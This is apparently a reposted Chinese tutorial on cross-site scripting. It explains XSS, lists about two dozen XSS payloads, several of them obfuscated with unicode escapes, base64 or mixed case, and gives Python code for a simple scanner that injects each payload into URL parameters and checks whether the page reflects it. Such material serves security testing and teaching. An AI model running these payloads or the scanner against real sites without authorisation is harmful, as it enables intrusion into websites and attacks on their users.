内容简介:跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意的Script代码,当用户浏览该网页之时,嵌入其中的Script代码将会被执行,从而达到恶意攻击用户的目的先做一个很简单的XSS检测工具,通过一些XSS的payload list
什么是XSS
跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意的Script代码,当用户浏览该网页之时,嵌入其中的Script代码将会被执行,从而达到恶意攻击用户的目的
XSS检测原理
先做一个很简单的XSS检测工具,通过一些XSS的 payload
加入到url参数中,然后查找url的源码中是否存在这个参数,存在则可以证明网页存在XSS漏洞
payload list
</script>"><script>prompt(1)</script> </ScRiPt>"><ScRiPt>prompt(1)</ScRiPt> "><img src=x onerror=prompt(1)> "><svg/onload=prompt(1)> "><iframe/src=javascript:prompt(1)> "><h1 onclick=prompt(1)>Clickme</h1> "><a href=javascript:prompt(1)>Clickme</a> "><a href="javascript:confirm%28 1%29">Clickme</a> "><a href="data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+">click</a> "><textarea autofocus onfocus=prompt(1)> "><a/href=javascript:co\u006efir\u006d "1" >clickme</a> "><script>co\u006efir\u006d`1`</script> "><ScRiPt>co\u006efir\u006d`1`</ScRiPt> "><img src=x onerror=co\u006efir\u006d`1`> "><svg/onload=co\u006efir\u006d`1`> "><iframe/src=javascript:co\u006efir\u006d%28 1%29> "><h1 onclick=co\u006efir\u006d(1)>Clickme</h1> "><a href=javascript:prompt%28 1%29>Clickme</a> "><a href="javascript:co\u006efir\u006d%28 1%29">Clickme</a> "><textarea autofocus onfocus=co\u006efir\u006d(1)> "><details/ontoggle=co\u006efir\u006d`1`>clickmeonchrome "><p/id=1%0Aonmousemove%0A=%0Aconfirm`1`>hoveme "><img/src=x%0Aonerror=prompt`1`> "><iframe srcdoc="<img src=x:x onerror=alert(1)>"> "><h1/ondrag=co\u006efir\u006d`1`)>DragMe</h1>
代码编写
为了以后代码编写的方便,我们编写一个函数取出url中的参数,比如 https://wmathor.com/python/?a=1&b=2&c=3
。我们要将1 2 3都取出来进行替换,所以我们先创建一个公共函数来分割这些文本
在文件 lib/core/common.py
中
def urlsplit(url): domain = url.split("?")[0] _url = url.split("?")[-1] param = {} for val in _url.split("&"): param[val.split("=")[0]] = val.split("=")[-1] # Combine urls = [] for val in param.values(): new_url = domain + '?' + _url.replace(val, 'my_Payload') urls.append(new_url) return urls
这个函数很简单,函数返回的是一个元祖,将每个参数用my_Payload标记,到时候替换这个参数就行了
接下来编写XSS检查程序,这个程序也是基于一个爬虫的框架
在开始之前,需要在目录新建一个data文件夹,这个文件夹用于存储一些数据。然后新建一个 xss.txt
,内容为之前的xss payload list
XSS检测程序代码
在 script
目录下新建文件 xss_check.py
。代码如下
#-*- coding:utf-8 -*- from lib.core import Download, common import sys, os payload = [] filename = os.path.join(sys.path[0], 'data', 'xss.txt') f = open(filename) for i in f: payload.append(i.strip()) class spider(): def run(self, url, html): download = Download.Downloader() urls = common.urlsplit(url) if urls is None: return False for _urlp in urls: for _payload in payload: _url = _urlp.replace("my_Payload", _payload) print("[XSS test]:", _url) # We Need test and spilt all paramters of URL _str = download.get(_url) if _str is None: return False if (_str.find(_payload) != -1): print("XSS found:%s" % url) return False
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 基于爬虫开发WebShell爆破插件与备份扫描
- 首次 golang爬虫插件gocolly/colly 使用经历
- EasySelect 1.1.0 发布,能够快速构建爬虫的浏览器插件
- 爬虫需谨慎,那些你不知道的爬虫与反爬虫套路!
- 反爬虫之字体反爬虫
- 反爬虫之字体反爬虫
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Head First Servlets & JSP(中文版)
(美)巴萨姆、(美)塞若、(美)贝茨 / 苏钰函、林剑 / 中国电力出版社 / 2006-10 / 98.00元
《Head First Servlets·JSP》(中文版)结合SCWCD考试大纲讲述了关于如何编写servlets和JSP代码,如何使用JSP表达式语言,如何部署Web应用,如何开发定制标记,以及会话状态、包装器、过滤器、企业设计模式等方面的知识,以一种轻松、幽默而又形象的方式让你了解、掌握servlets和JSP,并将其运用到你的项目中去。《Head First Servlets·JSP》(中......一起来看看 《Head First Servlets & JSP(中文版)》 这本书的介绍吧!